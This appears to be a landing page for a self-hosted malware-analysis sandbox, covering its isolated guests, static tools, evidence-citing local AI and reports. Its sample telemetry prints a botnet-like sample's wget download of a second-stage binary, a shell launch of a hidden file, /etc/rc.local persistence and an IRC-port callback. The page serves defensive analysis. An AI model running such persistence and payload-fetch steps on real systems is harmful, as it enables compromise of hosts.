Detonate safely. Keep every receipt.
A self-hosted malware-analysis portal: disconnected Linux and Windows guests, a deep static stage, and a local model that must cite the evidence it reads.
Private repository, MIT licence. Built for defensive, authorized analysis of samples you are permitted to handle.
A minute inside Athena
A recorded tour of lab health, sample filtering, reviewed families, saved execution runs and analysis reports.
Recorded October 12, 2026. Captioned, without audio. The recording shows historical lab state; family acceptance records a closest match.
What follows is a replica of Athena's sample workspace: a sample header with verdict and hashes, the six-stage pipeline strip, a process tree, an activity timeline, the behaviour evidence table and an AI finding that cites two evidence rows.
Library / Reported name chosen by the submission, not by Athena
- 1842 update-svc.elf Sample /tmp/update-svc.elf --daemon
- 1843 sh /bin/sh -c /tmp/.x
- 1851 .x /tmp/.x
- 1858 wget wget -q http://updates.internal.test/bins/x86 -O /tmp/.x2
- process
- network
- file
- memory
- signal
- 1842update-svc.elffrom +0.02s to +2.11s, ended by SIGTERM
- 1843shfrom +0.86s to the end of the run
- 1851.xfrom +0.92s to the end of the run
- 1858wgetfrom +1.96s to +2.38s
4.4s of recorded activity, 24 equal intervals, run-relative clock
| # | Time | PID | Process | Operation | Target | Result | Category |
|---|---|---|---|---|---|---|---|
| 0001 | +0.02s | 1842 | update-svc.elf | execve | /tmp/update-svc.elf | OK | process |
| 0007 | +0.09s | 1842 | update-svc.elf | openat | /etc/rc.local O_WRONLY|O_APPEND | OK | file |
| 0044 | +0.31s | 1842 | update-svc.elf | connect | 203.0.113.14:6667 | ECONNREFUSED | network |
| 0176 | +0.58s | 1842 | update-svc.elf | write | /etc/rc.local "/tmp/update-svc.elf\n" | OK | file |
| 0459 | +0.92s | 1843 | sh | clone | 1851 /tmp/.x | OK | process |
| 0521 | +1.14s | 1851 | .x | sendto | 198.51.100.10:53 · A updates.internal.test | OK | network |
| 0554 | +1.40s | 1851 | .x | mprotect | 0x7f3a1c200000 rwx | OK | memory |
| 0908 | +2.03s | 1858 | wget | connect | 198.51.100.10:80 · updates.internal.test | OK | network |
| 0966 | +2.11s | 1851 | .x | kill | 1842 SIGTERM | OK | signal |
| 1307 | +3.37s | 1851 | .x | unlink | /tmp/.x | OK | file |
How an analysis runs
Six stages, each with its own checkpoint, coverage note and journal entries. A later cycle can reuse a finished stage instead of repeating it.
- 1
Intake
Hash-verified upload into content-addressed storage. The controller never executes the sample; it records who submitted it and to which project.
- 2
Static
A disposable offline VM runs metadata parsers, entropy, strings and IOC extraction, YARA, capa, FLOSS, Ghidra and TLSH/ssdeep, then is discarded.
- 3
Dynamic
One compatible disconnected guest, chosen from the ELF header or routed to the Windows worker. Telemetry, PCAP and screenshots are preserved; teardown is verified.
- 4
AI research
A bounded local model reads the saved evidence through typed tools, within action, run and time budgets. Every exchange is recorded.
- 5
Correlation
Deterministic links to other samples: shared hashes, indicators and network destinations. No model is involved.
- 6
Report
Ten fixed sections with coverage notes, written as an immutable revision beside the artifacts.
Seven Linux profiles, one Windows worker
The worker picks the guest from the parsed ELF header: architecture, bitness, endianness, ABI and interpreter. Never from a filename or a model suggestion. PE executables route to the separate Windows worker.
- No external network. Guests see local DNS and HTTP simulation only. Direct-IP callbacks and TLS are not simulated, and the report records that as a coverage gap rather than a quiet network section.
- strace sensors on Linux. The behavioural sensor is in-guest strace, which a sample can evade or tamper with. Each run states its sensor provenance and treats guest output as untrusted.
- Hypervisor telemetry on Windows. x64 and x86 PE run offline under Xen with DRAKVUF: process, file and registry events, descendant tracking, screenshots, bounded observation and verified teardown.
- Containers. An archive selects one compatible ELF for the parent run and queues every recognised executable child for its own coverage.
| Profile | Architecture | Bits | Endian | ABI | Engine |
|---|---|---|---|---|---|
| linux-x86_64 | x86-64 | 64 | little | SysV | QEMU x86-64 |
| linux-i386 | x86 | 32 | little | SysV | QEMU x86-64 |
| linux-armv7-soft | ARM | 32 | little | EABI soft-float | QEMU ARM virt |
| linux-armv7-hard | ARM | 32 | little | EABI hard-float | QEMU ARM virt |
| linux-aarch64 | AArch64 | 64 | little | SysV | QEMU AArch64 virt |
| linux-mips-o32-le | MIPS | 32 | little | o32 | QEMU MIPS Malta |
| linux-mips-o32-be | MIPS | 32 | big | o32 | QEMU MIPS Malta |
| windows-vm | x86-64, x86 PE | 64, 32 | little | Win32 | Xen, DRAKVUF |
Guest network: local DNS/HTTP simulation, no external access. Linux sensors: in-guest strace. Windows sensors: hypervisor.
Static first, in a VM that is thrown away
Every sample passes through a disposable offline VM before anything runs. The stage writes what each tool found and, just as carefully, what it could not: an unsupported format, a packer it did not open, a limit it hit.
- Metadata and entropy. PE or ELF headers, imports where available, section entropy and archive lineage.
- Strings and indicators. Indexed strings, FLOSS-decoded and stack strings, URLs, hosts and paths as exact values.
- Rules and capabilities. YARA matches by rule name; capa capabilities grouped so they read as evidence, not as the verdict.
- Ghidra and similarity. Verified Ghidra exports for chat later; TLSH and ssdeep for near matches across the library.
- YARA
- ELF_Mirai_Botnet_Strings Linux_Trojan_Generic_Daemonize2 rules matched
- capa
- connect to socket, create daemon process, write file, change file permissions7 capabilities, 11 rule matches
- FLOSS
- 12 decoded strings, 3 stack stringsincludes /etc/rc.local and updates.internal.test
- Ghidra
- 214 functions, exports verifiedchat and read-only MCP available
- TLSH, ssdeep
- T1A3F1B2…2 near matches in the library
- Entropy
- 7.21 overall, .text 7.84packer suspected
- Gaps
- UPX variant not unpacked by this stage; the dynamic run covered the unpacked behaviour.
AI that must cite
A local model, reached through an OpenAI-compatible gateway, investigates inside a typed broker. Every tool call is validated, every exchange is recorded, and every finding names the evidence rows it rests on.
- Evidence-bounded. The model sees only the saved evidence slices the broker hands it. It cannot fetch, browse or run anything.
- Typed tools. Each call is checked against a schema before it runs; a malformed call is recorded and refused.
- Budgets. Actions, runs and wall time are capped per analysis. Exhaustion is a journal entry, not a crash.
- Pause, take over, stop. An analyst can hold AI actions at any point and continue by hand.
- No self-granted power. Model output cannot add capabilities or run host commands.
- Ghidra chat and MCP. Ask questions over verified Ghidra exports in the portal, or from your own tools through an authenticated read-only MCP endpoint.
-
12Inspect captured evidenceCompletedmodel
- Why
- Find what PID 1842 wrote under /etc.
-
13Test a hypothesisPassedmodel
- Why
- Does the sample persist across reboot?
- Result
- /etc/rc.local gained a line naming /tmp/update-svc.elf. ev 0176
-
14Record findingsAwaiting reviewmodel
- Result
- 1 finding proposed: persistence via rc.local, high severity, 2 evidence references.
What the guest tried to reach
Every dynamic run's saved network events become exact indicators: hosts and ports with their outcome, DNS names and resolvers, HTTP URLs, TLS server names. Each value searches the library for every other sample that carries it.
- Exact by default. Indicators are shown and copied as exact values. Defanging is an explicit, remembered choice for pasting into mail or tickets.
- Cross-sample links. A shared network destination links samples deterministically, with no model in the loop.
- Honest gaps. When the guest network never answers, the report records a coverage gap, not a clean network section.
| Indicator | Kind | Outcome | Also in |
|---|---|---|---|
| updates.internal.test | DNS A query | answered by the local simulator | 3 samples |
| http://updates.internal.test/bins/x86 | HTTP URL | 200 from the local simulator | 3 samples |
| 203.0.113.14:6667 | TCP connect | refused; direct-IP callbacks are not simulated | 1 sample |
Coverage gap Direct-IP callbacks are not simulated, so the refused connection to 203.0.113.14:6667 is recorded as a gap in the report's network section.
The lab, and its journal
Lab is the screen that opens. It says which workers are admitting work, what each paused worker is holding, how many slots are leased and which family claims wait on a person. A paused analysis is counted as waiting everywhere, so the queue cannot call itself clear while work is owed.
- Every switch asks why. Pausing or resuming a worker requires a reason, and the reason goes into the journal with the change.
- One journal for the lab. Who asked, why, what was expected and what the controller observed, newest first, filterable by action type, linked to the sample and analysis.
- Projects, roles, tokens. Admin, Viewer and Developer roles, one-time setup links, project-scoped service tokens and withdrawable egress grants.
- Health and alerts. Worker reachability and model availability on every screen; alerts to ntfy or a webhook.
| Worker | Stages | Admission | Waiting | Lease | Admit |
|---|---|---|---|---|---|
| static-vm | Static | Admitting work | 3 | idle | |
| linux-x86_64 | Dynamic | Admitting work | 2 | a91f3c… | |
| windows-vm | Dynamic | Admission paused | 2 | idle | |
| research-vm | AI research | Above AI limit | 0 | 5c07e2… |
| # | Action | Subject | Detail | When |
|---|---|---|---|---|
| 18342 | Worker admission changed | lab | Worker: windows-vm. Enabled: false. Reason: host patching window. | 4m ago |
| 18341 | Family claim reviewed | c7e21a0b…94f3d0 | Family: Mirai. Status: accepted. Source: intelligence stage. | 11m ago |
| 18340 | Report created | 3f9a2c1e…8d41c2 | Sections: 10. Revision: 2. Coverage notes: 2. | 12m ago |
| 18339 | Stage completed | 3f9a2c1e…8d41c2 | Stage: intelligence. Actions: 14 of 30. Exchanges: 9. | 13m ago |
| 18338 | Egress requested | lab | Destination: 203.0.113.7:443. TTL: 15m. Policy digest: 9b1e4d… | 26m ago |
| 18337 | Sample submitted | 3f9a2c1e…8d41c2 | Project: Botnet triage. Size: 68.2 KB. Handling: never executed by controller. | 31m ago |
Ten sections, every time
The report stage writes the same ten sections for every sample, in the same order, with a coverage note wherever a section has nothing it can establish. Absence is never inferred.
- Immutable revisions. A new cycle writes a new report revision; the previous one stays, and the two can be compared section by section.
- Artifacts kept as they are. Screenshots render as images, telemetry as tables, binaries as hex. Raw bytes and the verified download are one control away.
- Exports. JSON exports carry evidence metadata and the readable report; original artifact bytes download separately.
- Identification & metadatahashes, format, architecture, size
- Unpacking & container notesarchive lineage and what was chosen to run
- Classification & familyverdict, claims and their review state
- Capability analysiscapa matches, grouped and cited
- Network behavior & C2observed indicators with outcomes
- Persistence & defense evasionor a note that absence is not established
- Embedded configuration & stringsdecoded strings and configuration
- MITRE ATT&CK mappingtechniques from cited findings only
- Threat actor, provenance & linkagecross-sample links, or none claimed
- IOC summaryexact values, defangable on request
Private, by design
Athena runs inside Team AER's lab and its repository is private. The portal at sandbox.brainfc.uk signs in existing accounts only; there is no public upload. If you do defensive malware analysis and want to compare notes, or run it in your own lab, write to us.
Use is limited to samples you are authorized to handle. Athena takes its workflow cues from ANY.RUN and does not claim parity with it. The live AI research cycle is still being proven under load.